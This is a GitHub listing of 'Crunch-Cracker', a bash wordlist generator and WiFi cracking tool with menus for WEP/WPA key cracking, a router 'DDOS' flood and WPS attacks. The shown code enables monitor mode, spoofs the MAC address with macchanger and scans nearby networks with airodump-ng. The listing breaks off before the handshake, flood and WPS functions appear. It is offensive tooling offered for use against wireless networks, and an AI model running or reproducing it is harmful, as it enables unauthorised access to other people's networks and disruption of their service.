-
Notifications
You must be signed in to change notification settings - Fork 14
/
crunchcracker.sh
1185 lines (1135 loc) · 33.1 KB
/
crunchcracker.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
##########################################################
# #
# 8eeee8 #
# 8 i eeeee e e eeeee eeee e e #
# 8e 8 8 8 8 8 8 8 8 8 8 #
# 88 8eee8e 8e 8 8e 8 8e 8eee8 #
# 88 e 88 8 88 8 88 8 88 88 8 #
# 88eee8 88 8 88ee8 88 8 88e8 88 8 #
# 8eeee8 #
# 8 i eeeee eeeee eeee e e eeee eeeee #
# 8e 8 8 8 8 8 8 8 8 8 8 8 #
# 88 8eee8e 8eee8 8e 8eee8e 8eee 8eee8e #
# 88 e 88 8 88 8 88 88 8 88 88 8 #
# 88eee8 88 8 88 8 88e8 88 8 88ee 88 8 #
# #
##########################################################
#
# *************************
# * Crunch-Cracker V 1.0b *
# *************************
#
# Function crunch simple Wordlist generator
#
# Date: 10/10/2016
# Dev: Shell
# BY: KURO-CODE
#
# *************************
# * Crunch-Cracker V 1.1 *
# *************************
#
# + Setting menu Multilangual
# + Graphic
#
# Date: 23/04/2017
# Dev: Shell
# BY: KURO-CODE
#
# *************************
# * Crunch-Cracker V 1.2 *
# *************************
#
# + Fonction crack
# + Graphic
#
# Date: 29/04/2017
# Dev: Shell
# BY: KURO-CODE
#
# *************************
# * Crunch-Cracker V 1.3 *
# *************************
#
# + Bug Fix
# + Graphic
# + Report file
#
# Date: 17/01/2018
# Dev: Shell
# BY: KURO-CODE
#
# *************************
# * Crunch-Cracker V 1.4 *
# *************************
#
# + Compatibility
# - Ubuntu
# - Kali
#
# + Trap (Exit)
# + Root perm.
# + Router flood
#
# Date: 08/06/2018
# Dev: Shell
# BY: KURO-CODE
#
# *************************
# * Crunch-Cracker V 1.5 *
# *************************
#
# + BugFix
# + Script revision
# + Check dependencie
# + Auto Update Version
# + WPS Attack
#
# Date: 10/01/2019
# Dev: Shell
# BY: KURO-CODE
#
# *************************
# * Crunch-Cracker V 1.6 *
# *************************
#
# + BugFix
# + Script revision
# + Pipeline Crunch/Aircrack
#
# Date: 02/10/2020
# Dev: Shell
# BY: KURO-CODE
#
BARR="----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------"
#**** CONFIG ****
UPFILE="CrunchCracker.txt"
Update="https://raw.githubusercontent.com/KURO-CODE/Version/master/$UPFILE"
REPO="git clone https://github.com/KURO-CODE/Crunch-Cracker.git"
DUMP="Wordlist"
TMP2="KEY"
#~~~~ DEFAULT LANGUAGE ~~~~
DEFAULT_LANGUAGE="eng"
#~~~~ Geometry ~~~~
TOPLEFTBIG="-geometry 100x85+0+0"
TOPLEFTBIG2="-geometry 100x20+0+0"
#~~~~ Colors ~~~~
W="\033[1;37m"
GR="\033[0;37m"
R="\033[1;31m"
G="\033[1;32m"
Y="\033[1;33m"
EC="\033[0m"
#**** DATE ****
DATE=`date |cut -f1 -d "("`
#**** TXT ****
airmon="airmon-ng"
Air_P="AirPlay"
#**** Info ****
Inf_Name="Crunch-Cracker"
Ver="1.6"
Inf_Date="02/10/2020"
#**** PATH ****
#chmod +x aimon-ng
if [ -d "$DUMP" ]; then
echo -e " ";
else
echo -e " ";
mkdir $DUMP
fi
#**** ENG ****
eng() {
OPT="${W} O${GR}p${W}T${GR}io${W}N"
NAME_WL=" Name"
error=" ERROR"
Choice=" Option"
CHOICE_DEVICE="Device:"
YES="Yes"
NO="No "
MAKE="${W}C${GR}re${W}AT${GR}e a${W} W${GR}o${W}RDL${GR}is${W}T "
ENTER="ENTER"
Exit="${R}Exit "
Return="${W}RE${GR}tu${W}RN"
SELECT_DEVICE="${W}[${Y}!${W}]${G} Select a device"
HTARGET="Target"
WAIT="wait"
SEC="sec"
#~~~~ EXIT ~~~~
CLOSE="${W} C L O S I N G..."
OFF="Thank you for using${R} C${W}runch${G}-${R}C${W}racker"
#~~~~ INFO ~~~~
INFBAR=" ╔══════════════════════════════════════════════╗"
INFBAR2=" ╚══════════════════════════════════════════════╝"
INFNAME="║${G} Name:${W}.......$Inf_Name ║"
INFVER="║${G} Version:${W}....$Ver ║"
INFLNG="║${G} Language:${W}...[ENG, FR, ESP] ║"
INFDATE="║${G} Date:${W}.......$Inf_Date ║"
INFAUTH="║${G} Author:${W}.....KURO-CODE ║"
INFTYPE="║${G} Type:${W}.......Wordlist generator/Wifi cracker ║"
INFDEV="║${G} Dev:${W}........Shell ║"
#~~~~ SET LIST ~~~~
TLIST="╔═════════════════════════════════════╗"
TLIST2="╚═╦═══════════════════════════════════╝"
SETLIST_INFMIN="${W}[${Y}!${W}]${G} Enter a minimum number of characters "
SETLIST_INFMAX="${W}[${Y}!${W}]${G} Enter a maximum number of characters "
SETLIST_INFCHAR="${W}[${Y}!${W}]${G} Enter the characters of your choice"
SETLIST_IN="${w} Char"
SETLIST_NAMELIST="${W}[${Y}!${W}]${G} Enter a name for the wordlist"
SETLIST_WAIT=" Please wait..."
SETLIST_FINISH="${G} Your list is complete${W} "
SETLIST_FOLDERLIST=" [${R}!${W}]${G} Folder:${Y} (/$DUMP/"
SETLIST_SELECT="${G}Select a list${Y}"
SETLIST_SELECT2="${G}Use a list? ${W}"
#~~~~ COMPRESS ~~~~
ZIPLIST="╔════════════════════════════════════╗"
ZIPTLIST2="╚═╦══════════════════════════════════╝"
COMPRESS_MSG=" Do you want to compress the list?"
COMPRESS_INFO="(Back to main menu)"
COMPRESS_WAITC=" Compression... Please wait... "
COMPRESS_OK=" [${G}OK${W}]${Y} Compression Finished! "
COMPRESS_SUPP="${W} [${G}OK${W}]${Y} Del $Name.txt"
#~~~~ CRACKER ~~~~
TCRACK="╔═══╦════════╗"
TCRACK2="╚═══╩════════╝"
C_SCAN="W${GR}ep, ${W}W${GR}pa${R}/${W}W${GR}pa${W}2"
C_RETURN="${W}RE${GR}tu${W}RN "
#~~~~ HEADER SCAN ~~~~
header_scan="Network scan"
#~~~~ DIAL EXIT ~~~
CLEAN="[${G}-${W}] Clean ${GR}Dump${W}"
MACCHANGR="${W}[${G}-${W}] Restoration ${GR}Macchanger${W}"
NMANAGER="[${G}-${W}] Restart ${GR}Network-manager${W}"
CLOSEMON="${W}[${G}-${W}] Kill ${GR}airmon${W}"
#~~~~ REPORT ~~~~
K_Found="${G} Key Found:${W} "
R_Title="Attack report"
R_SAVE="${G} *** Save:${Y} "
#~~~~ Fail ~~~~
A_Fail="${W} [${R}X${W}]...${R}Attack fail${EC}"
NOWIFI="${W}[${R}x${W}]No wifi device!${EC}"
}
#**** FR ****
fr() {
#~~~~ MENU ~~~~
OPT="${W} O${GR}p${W}T${GR}i${W}O${GR}n"
NAME_WL=" Nom"
error="ERREUR"
Choice=" Option"
CHOICE_DEVICE="Carte:"
YES="Oui"
NO="Non"
MAKE="${W}C${GR}ré${W}ER U${GR}ne ${W}WO${GR}r${W}DL${GR}i${W}ST"
ENTER="ENTREE"
Exit="${R}Fermer "
Return="${W}RE${GR}to${W}U${GR}r"
SELECT_DEVICE="${W}[${Y}!${W}]${G} Choisissez une carte"
HTARGET="Cible"
WAIT="attendez"
SEC="sec"
#~~~~ EXIT ~~~~
CLOSE="${W} F E R M E T U R E..."
OFF="Merci d'avoir utilisé${R} C${W}runch${G}-${R}C${W}racker"
#~~~~ INFO ~~~~
INFBAR=" ╔═══════════════════════════════════════════════╗"
INFBAR2=" ╚═══════════════════════════════════════════════╝"
INFNAME="║${G} Nom:${W}......$Inf_Name ║"
INFVER="║${G} Version:${W}..$Ver ║"
INFLNG="║${G} Langue:$W...[ENG, FR, ESP] ║"
INFDATE="║${G} Date:${W}.....$Inf_Date ║"
INFAUTH="║${G} Auteur:${W}...KURO-CODE ║"
INFTYPE="║${G} Type:${W}.....Générateur Wordlist/Cracker Wifi ║"
INFDEV="║${G} Dev:${W}......Shell ║"
#~~~~ SET LIST ~~~~
TLIST="╔════════════════════════════════════╗"
TLIST2="╚═╦══════════════════════════════════╝"
SETLIST_INFMIN="${W}[${Y}!${W}]${G} Entrez un nombre de caractères minimun "
SETLIST_INFMAX="${W}[${Y}!${W}]${G} Entrez un nombre de caractères maximum "
SETLIST_INFCHAR="${W}[${Y}!${W}]${G} Entrez les caratères de votre Selection"
SETLIST_IN=" Caractères"
SETLIST_NAMELIST="${W}[${Y}!${W}]${G} Donnez un nom à votre wordlist"
SETLIST_WAIT=" Création de la liste, veuillez patienter un instant..."
SETLIST_FINISH="${G} Votre Wordlist est terminé${W} "
SETLIST_FOLDERLIST=" [${R}!${W}]${G} Dossier d'enregistrement${Y} (/$DUMP/"
SETLIST_SELECT="${G}Selectionnez une liste${Y}"
SETLIST_SELECT2="${G}Utiliser une liste?${W}"
#~~~~ COMPRESS ~~~~
ZIPLIST="╔═══════════════════════════════════╗"
ZIPTLIST2="╚═╦═════════════════════════════════╝"
COMPRESS_MSG=" Voulez-vous compresser la liste?"
COMPRESS_INFO="(Retour au menu principal)"
COMPRESS_WAITC=" Compression... patientez un instant. "
COMPRESS_OK=" [${G}OK${W}]${Y} Compression terminée! "
COMPRESS_SUPP="${W} [${G}OK${W}]${Y} Suppression de "
#~~~~ CRACKER ~~~~
TCRACK="╔═══╦════════╗"
TCRACK2="╚═══╩════════╝"
C_SCAN="W${GR}ep, ${W}W${GR}pa${R}/${W}W${GR}pa${W}2"
C_RETURN="Retour "
#~~~~ HEADER SCAN ~~~~
header_scan="Scan réseau"
#~~~~ DIAL EXIT ~~~
CLEAN="[${G}-${W}] Nettoyage $GR Dump$W"
MACCHANGR="${W}[${G}-${W}] Kill $GR Macchanger${W}"
NMANAGER="[${G}-${W}] Redemarrage du service $GR Network-manager$W"
CLOSEMON="${W}[${G}-${W}] Désactivation du$GR monitoring"
#~~~~ Report ~~~~
K_Found="${G} Cle trouvee:${W} "
R_Title="Rapport"
R_SAVE="${G} *** Enregistrer:${Y} "
#~~~~ Fail ~~~~
A_Fail="${W} [${R}X${W}]...${R}Attaque ratee$EC"
NOWIFI="${W}[${R}x${W}]Pas de carte wifi!${EC}"
}
#**** SPAN ****
span() {
#~~~~ MENU ~~~~
OPT="${W} O$GR""pc${W}""I$GR""o${W}""n "
NAME_WL=" Nombre"
error="ERROR"
Choice=" Opcion"
CHOICE_DEVICE="Dispositivo:"
YES="Si "
NO="No "
MAKE="${W}""C${GR}re${W}A${GR}r ${W}U${GR}n${W}A LI${GR}st${W} A "
ENTER="ENTRAR"
Exit="${R}""Cerrar "
Return="Volver "
SELECT_DEVICE="${W}[${Y}!${W}]${G} Seleccione un dispositivo"
HTARGET="Objectivo"
WAIT="espera"
SEC="seg"
#~~~~ EXIT ~~~~
CLOSE="${W} C I E R R E..."
OFF="Gracias por usar${Y} C${W}runch${G}-${Y}C${W}racker"
#~~~~ INFO ~~~~
INFBAR=" ╔════════════════════════════════════════════════╗"
INFBAR2=" ╚════════════════════════════════════════════════╝"
INFNAME="║${G} Nombre:${W}...$Inf_Name ║"
INFVER="║${G} Version:${W}..$Ver ║"
INFLNG="║$G Lengua:${W}...[ENG, FR, ESP] ║"
INFDATE="║${G} Fecha:${W}....$Inf_Date ║"
INFAUTH="║${G} Autor:${W}....KURO-CODE ║"
INFTYPE="║${G} Tipo:${W}.....Generador de Wordlist/Wifi Cracker ║"
INFDEV="║${G} Dev:${W}......Shell ║"
#~~~~ SET LIST ~~~~
TLIST="╔═══════════════════════════════════╗"
TLIST2="╚═╦═════════════════════════════════╝"
SETLIST_INFMIN="${W}[${Y}!${W}]${G} Entroduzca un mumero minimo de caracteres "
SETLIST_INFMAX="${W}[${Y}!${W}]${G} Entroduzca un mumero maximo de caracteres "
SETLIST_INFCHAR="${W}[${Y}!${W}]${G} Entroducir los caracteres de su eleccion"
SETLIST_IN=" Caracteres"
SETLIST_NAMELIST="${W}[${Y}!${W}]${G} Dar un nombre a tu wordlist"
SETLIST_WAIT=" Crear lista, espere un momento..."
SETLIST_FINISH="${G} Su lista esta terminada${W} "
SETLIST_FOLDERLIST=" [${R}!${W}]${G} Carpeta$Y (/$DUMP/"
SETLIST_SELECT="${G}Lista de seleccion${Y}"
SETLIST_SELECT2="${G}Utilizar una lista${W}"
#~~~~ COMPRESS ~~~~
ZIPLIST="╔════════════════════════════════╗"
ZIPTLIST2="╚═╦══════════════════════════════╝"
COMPRESS_MSG=" Que desea comprimir la lista?"
COMPRESS_INFO="(Volver at menu principal)"
COMPRESS_WAITC=" Compresion, espere un momento... "
COMPRESS_OK=" [${G}OK${W}]${Y} Compresion termino! "
COMPRESS_SUPP="${W} [${G}OK${W}]${Y} Supresion $Name.txt."
#~~~~ CRACKER ~~~~
TCRACK="╔═══╦═════════╗"
TCRACK2="╚═══╩═════════╝"
C_SCAN="W${GR}ep, ${W}W${GR}pa${R}/${W}W${GR}pa${W}2"
C_RETURN="${W}RE${GR}gre${W}S${GR}o "
#~~~~ HEADER SCAN ~~~~
header_scan="Busca el red"
#~~~~ DIAL EXIT ~~~
CLEAN="[${G}-${W}] Limpieza$GR Dump"${W}""
MACCHANGR="${W}[${G}-${W}] Restauracion$GR Macchanger${W}"
NMANAGER="[${G}-${W}] Reinicio del$GR Network-manager${W}"
CLOSEMON="${W}[${G}-${W}] Désactivation du$GR monitoring${W}"
#~~~~ Report ~~~~
K_Found="${G} Clave encontrada:${W} "
R_Title="Ataque Informe"
R_SAVE="${G} *** Salvar:${Y} "
#~~~~ Fail ~~~~
A_Fail="${W} [${R}X${W}]...${R}Ataque fallido$EC"
NOWIFI="${W}[${R}x${W}]sin dispositivo wifi!${EC}"
}
#**** Check Root ****
function check_root_perm() {
clear
LOGO
user=$(whoami)
if [ "$user" = "root" ]; then
echo -e "\n${W} [${G}+${W}]${GR}...${G}Y${W}ou are ${G}Root${W}!"
sleep 1.2
else
echo -e "\n${W} [${R}X${W}]${GR}...${R}Y${W}ou are not ${R}Root${W}!\n\n ${G}U${W}se:${Y} sudo ./crunchcracker.sh${E}C"
sleep 1
echo -e "\n${W} [${R}X${W}]${GR}...${R}C${W}lose"
sleep 1
exit
fi
}
#~~~~ Update ~~~~
function Check_Version() {
clear
LOGO
wget $Update 2>/dev/null
SOURCE=`pwd`
if [ ! -f "$UPFILE" ]; then
clear
LOGO
echo -e "${W}[${R}!${W}]File not exist!!!${EC}"
sleep 1
echo -e "${W}[${R}!${W}]Failure to update, ${EC}"
sleep 3
# exit
else
clear
LOGO
VERA=`echo $Ver |sed 's/\.//g'`
VERX=`cat $UPFILE`
VER2=`echo $VERX |sed 's/\.//g'`
echo -e "${G}Prog version${W}:${GR}.....${W}$Ver \n${G}Update version${W}:${GR}...${W}$VERX"
sleep 5
if [ "$VERA" -ge "$VER2" ]; then
clear
LOGO
echo -e "${W}[${G}+${W}]Version is${G} ok${EC}"
sleep 3
rm -f $UPFILE
elif [ "$VERA" -lt "$VER2" ]; then
clear
LOGO
echo -e "${W}[${R}!${W}]Update version${EC}"
sleep 3
$REPO 2>/dev/null
if [ ! -d "Crunch-Cracker" ]; then
clear
LOGO
echo -e "${W}[${R}!${W}]File not exist!!!${EC}"
sleep 3
clear
exit
else
clear
LOGO
echo -e "${W}[${R}!${W}]Update, please wait...${EC}"
sleep 1
if [ ! -d "KEY" ]; then
echo
else
clear
LOGO
echo -e "${W}[${R}!${W}]Update, please wait...${EC}"
sleep 1
mv KEY Crunch-Cracker/KEY
fi
if [ ! -d "Wordlist" ]; then
echo
else
clear
LOGO
echo -e "${W}[${R}!${W}]Update, please wait...${EC}"
sleep 1
mv Wordlist Crunch-Cracker/Wordlist
fi
clear
LOGO
echo -e "${W}[${R}!${W}]Update, please wait...${EC}"
sleep 1
mv Crunch-Cracker /tmp/Crunch-Cracker
cd ..
rm -rf $SOURCE
mv /tmp/Crunch-Cracker Crunch-Cracker
clear
LOGO
echo -e "${W} [${G}+${W}] Update finished.\n Restart..."
sleep 3
cd Crunch-Cracker
bash ./crunchcracker.sh
exit
fi
fi
fi
}
#**** SET LANGUAGE ****
function setting {
Place="setting"
if [ "$CC_AUTO" = "1" ]; then
eng; setting
else
while true; do
LOGO
echo -e "\n $GR╔═══════════════════════════╗
║ $R[${Y}i${R}]${W} Select your${W} language${GR} ║
╚═╦══════════════════════╦══╝
║ ╔═══╦══════════╗ ║
║ ║${G} 1${GR} ║${W} English ║ ║
╚═══╣${G} 2${GR} ║${W} French ╠═══╝
║${G} 3${GR} ║${W} Spanish ║
╚═══╩══════════╝\n"
read -p " Choice: " Selection
case $Selection in
1 ) eng; main; break ;;
2 ) fr; main; break;;
3 ) span; main; break;;
* ) echo -e "${W} [${R} ERROR ${W}]"; sleep 3 ;setting;;
esac
done
fi
}
#~~~~ check Dep ~~~~
function Check_Dep() {
Place="Ckeck_Dep"
clear
LOGO
echo -ne "${W}Crunch$GR......"
if ! hash crunch 2>/dev/null; then
ExiT=1
echo -e "${W}[${R}Not installed${W}]"
else
echo -e "${W}[${G}installed${W}]"
sleep 0.25
fi
echo -ne "${W}Aircrack${GR}...."
if ! hash aircrack-ng 2>/dev/null; then
ExiT=1
echo -e "${W}[${R}Not installed${W}]"
else
echo -e "${W}[${G}installed${W}]"
sleep 0.25
fi
echo -ne "${W}Reaver${GR}......"
if ! hash reaver 2>/dev/null; then
ExiT=1
echo -e "${W}[${R}Not installed${W}]"
else
echo -e "${W}[${G}installed${W}]"
sleep 0.25
fi
echo -ne "${W}PixieWPS${GR}...."
if ! hash pixiewps 2>/dev/null; then
ExiT=1
echo -e "${W}[${R}Not installed${W}]"
else
echo -e "${W}[${G}installed${W}]"
sleep 0.25
fi
echo -ne "${W}Xterm${GR}......."
if ! hash pixiewps 2>/dev/null; then
ExiT=1
echo -e "${W}[${R}Not installed${W}]"
else
echo -e "${W}[${G}installed${W}]"
sleep 3
fi
if [ "$ExiT" = "1" ]; then
exit
fi
}
#~~~~ INTRO ~~~
RUN() {
Place="RUN"
clear
sleep 0.5
echo -e "\n${G} 8eeee8 "
sleep 0.5
echo -e " 8 i eeeee e e eeeee eeee e e"
sleep 0.4
echo -e " 8e 8 8 8 8 8 8 8 8 8 8 "
sleep 0.3
echo -e " 88 8eee8e 8e 8 8e 8 8e 8eee8 "
sleep 0.2
echo -e " 88 e 88 8 88 8 88 8 88 88 8 "
sleep 0.1
echo -e " 88eee8 88 8 88ee8 88 8 88e8 88 8 "
sleep 1
echo -e "${R} 8eeee8"
echo -e " 8 i eeeee eeeee eeee e e eeee eeeee"
echo -e " 8e 8 8 8 8 8 8 8 8 8 8 8 "
echo -e " 88 8eee8e 8eee8 8e 8eee8e 8eee 8eee8e "
echo -e " 88 e 88 8 88 8 88 88 8 88 88 8 "
echo -e " 88eee8 88 8 88 8 88e8 88 8 88ee 88 8${GR} v $Ver\n"
sleep 0.5
echo -e "${G} [${Y}W${G}]${W}or${G}[${Y}D${G}]${W}li${G}[${Y}\$${G}]${W}t${G} [${Y}G${G}]${W}en${G}[${Y}E${G}]${W}ra${G}[${Y}T${G}]${W}or${R}/${W}[${Y}W${W}]${G}i${W}[${Y}F${W}]${G}i c${W}[${Y}R${W}]${G}ac${W}[${Y}K${W}]${G}er"
sleep 0.5
echo -e " ${W}[${G}""B${W}]${G}""y "
sleep 0.5
echo -e " ${W}[${Y}K${W}][${G}U${W}]${G}R${W}[${R}O${W}]-${W}[${Y}C${W}][${G}O${W}]${G}D${W}[${R}E${W}] \n"
sleep 3
}
#~~~~ LOGO ~~~~
LOGO() {
clear
sleep 0.1
echo -e "\n ${W}╔═════════════════════════════════════════════╗"
echo -e " ║${R} C${W} R U N C H ${R} C${W} R A C K E R${GR} v${G} $Ver${W} ║"
echo -e " ${W}╚═════════════════════════════════════════════╝"
sleep 0.5
}
#~~~~ Main Menu ~~~~
main() {
Place="main"
clear
LOGO
echo -e " ${W}╔═════════════╗
║ $OPT ${W} ║
╚═╦═══════════╝
║ ╔═══╦═════════════════╗
║ ║${Y} 1 ${W}║ I${GR}n${W}FO${W} ║
╚═══╣${G} 2 ${W}║ CR${GR}un${W}CH-C${GR}ra${W}CK${GR}e${W}R ${W} ║
║${R} 0 ${W}║${R} $Exit ${W} ║
╚═══╩═════════════════╝ \n"
read -p " $Choice: " Selection
case $Selection in
1) information;;
2) Crunchmenu;;
0) EXITMENU;;
*) echo -e "${W} [${R} $error${W} ]" && sleep 3
esac
}
#~~~~ INFO ~~~~
information() {
Place="information"
clear
LOGO
echo -e " $INFBAR\n $INFNAME "
sleep 0.2
echo -e " $INFVER "
sleep 0.2
echo -e " $INFLNG "
sleep 0.2
echo -e " $INFDATE "
sleep 0.2
echo -e " $INFAUTH "
sleep 0.2
echo -e " $INFTYPE "
sleep 0.2
echo -e " $INFDEV \n $INFBAR2"
sleep 0.5
echo -e "\n$W $Return$R [$ENTER]"
read pause
main
}
#~~~~ MENU CRUNCH ~~~~
Crunchmenu() {
LX=0
Place="Crunchmenu"
clear
LOGO
echo -e "\n ${W}╔════════════════════╗
║ $OPT ${GR} ║
╚═╦══════════════════╝
║ ╔═══╦════════════════════╗
║ ║${Y} 1 ${W}║ $MAKE${W} ║
║ ║${G} 2 ${W}║ $C_SCAN${W} ║
║ ║${G} 3 ${W}║ DDOS ║
║ ║${G} 4 ${W}║ WPS ║
╚═══╣${W} 9 ║ $Return ${W} ║
║${R} 0 ${W}║${R} $Exit ${W} ║
╚═══╩════════════════════╝ \n"
read -p " $Choice: " Selection
case $Selection in
1) LST;;
2) MONITOR; SCANNER; OUTSCAN; HANDSHAK; sleep 4; AirPlay; VALID;;
3) MONITOR; SCANNER; OUTSCAN; sleep 2; HANDSHAK; DDOS;;
4) MONITOR; SCANNER; OUTSCAN;;
9) main;;
0) EXITMENU;;
*) echo -e "${W} [${R} $error${W} ]"; sleep 3; Crunchmenu;;
esac
}
#~~~~ Set list ~~~~
function LST {
Place="LST"
if [ $LX = 0 ]; then
clear
LOGO
echo -e "$SETLIST_INFMIN ${W} \n"
read -p " Min: " min
case $min in
[0-9]*) LX=$(($LX+1));;
*) echo -e "${W} [${R} $error${W} ]"; sleep 3; LX=0; LST;;
esac
fi
if [ $LX = 1 ]; then
clear
LOGO
echo -e "$SETLIST_INFMAX ${W}\n "
read -p " Max: " max
case $max in
[0-9]*) LX=$(($LX+1));;
*) echo -e "${W} [${R} $error${W} ]"; sleep 3; LX=1; LST;;
esac
fi
if [ $LX = 2 ]; then
clear
LOGO
echo -e "$SETLIST_INFCHAR ${W}\n"
read -p " $SETLIST_IN: " char
LN=`echo ${#char}`
if [ $LN -gt 1 ]; then
LX=$(($LX+1))
else
echo -e "${W} [${R} $error${W} ]"
sleep 2
LX=2
LST
fi
fi
if [ "$PPL" = "1" ]; then
clear
LOGO
PIPELINE
else
clear
LOGO
echo -e "$SETLIST_NAMELIST ${W}\n"
read -p " $NAME_WL: " Name
sleep 1
clear
LOGO
echo -e "$SETLIST_WAIT\n"
sleep 1
crunch $min $max $char -o $DUMP/$Name.txt
LOGO
echo -e "$SETLIST_FINISH\n$SETLIST_FOLDERLIST$Name.txt)${W} [${R}!${W}]\n${W} $Return ${R}[$ENTER]${W}"
read pause
compress
fi
}
#~~~~ Function COMPRESS ~~~~
function compress {
Place="compress"
clear
LOGO
echo -e "\n $ZIPLIST
║${W} $COMPRESS_MSG ${W}║
$ZIPTLIST2
║ ╔═══╦════════╗
║ ║${Y} 1 ${W}║ $YES ${W}║
║ ║${G} 2 ${W}║ $NO ${W}║
╚═══╣${R} 0 ${W}║ $Exit${W}║
╚═══╩════════╝ "
read -p " $Choice: " Selection
case $Selection in
1) echo -e "\n$COMPRESS_WAIT "
cd $DUMP &&
tar cvzf $Name.tar $Name.txt
rm -f $Name.txt
clear
LOGO
echo -e "\n $COMPRESS_OK"
sleep 1
echo -e "\n $COMPRESS_SUPP$Name.txt"
sleep 3 ;;
2) main;;
0) EXITMENU;;
*) echo -e "${W} [${R} $error${W} ]"; sleep 3; compress;;
esac
main
}
function Check_Mon {
Place="Check_Mon"
airmon-ng start $device
Mon=`airmon-ng |grep mon |awk '{print $2}'`
}
#~~~~ Function Monitoring ~~~~
function MONITOR {
Place="MONITOR"
clear
mkdir CRACKTMP
TMP="CRACKTMP"
LOGO
A=`ifconfig | grep -a 'wl' | awk '{print $1}'`
LW=`echo ${#A}`
if [ "$LW" -eq "0" ]; then
echo -e "$NOWIFI"
sleep 3
EXITMENU
else
B=`echo $A |sed 's/ /\n/g' |cut -f1 -d ":"`
echo -e "${W}$SELECT_DEVICE${Y}\n"
echo $A |sed 's/ /\n/g' |cut -f1 -d ":" |nl
echo
read -p "$CHOICE_DEVICE " SETDEV
device=`echo $A |sed 's/ //g' |cut -f$SETDEV -d ":"`
I="$device"
X=`$B |grep $I`
if [ "$I" != "$X" ]; then
SETMONITOR
else
clear
LOGO
echo -e "${W}[${R}$error${W}]"
sleep 3
MONITOR
fi
fi
}
function SETMONITOR() {
ifconfig $device down
clear
LOGO
echo -e "${W}[${G}i${W}]....${GR}Macchanger${W}"
macchanger -r $device
ifconfig $device up
Check_Mon
clear
LOGO
sleep 1
echo -e "${W}[${G}+${W}]....${GR}Macchanger${W}"
echo -e "${W}[${G}i${W}]....${GR}$Vname${W}"
}
#~~~~ Function Scan ~~~~
function SCANNER {
Place="SCANNER"
if [ "$Selection" -eq "2" ] || [ "$Selection" -eq "3" ]; then
CSV=dump-01.csv
rm -rf $TMP/*
clear
LOGO
echo -e "${W}[${G}i${W}]....${GR}Monitor, $WAIT 20$SEC...${W}"
sleep 3
xterm -hold -title "$header_scan" $TOPLEFTBIG -bg "#000000" -fg "#11ff00" -e airodump-ng -w $TMP/DUMP -a $Mon --ignore-negative-one &
sleep 20
killall xterm
fi
if [ "$Selection" -eq "4" ]; then
clear
LOGO
echo -e "${W}[${G}i${W}]....${GR}Monitor, $WAIT 30$SEC...${W}"
sleep 3
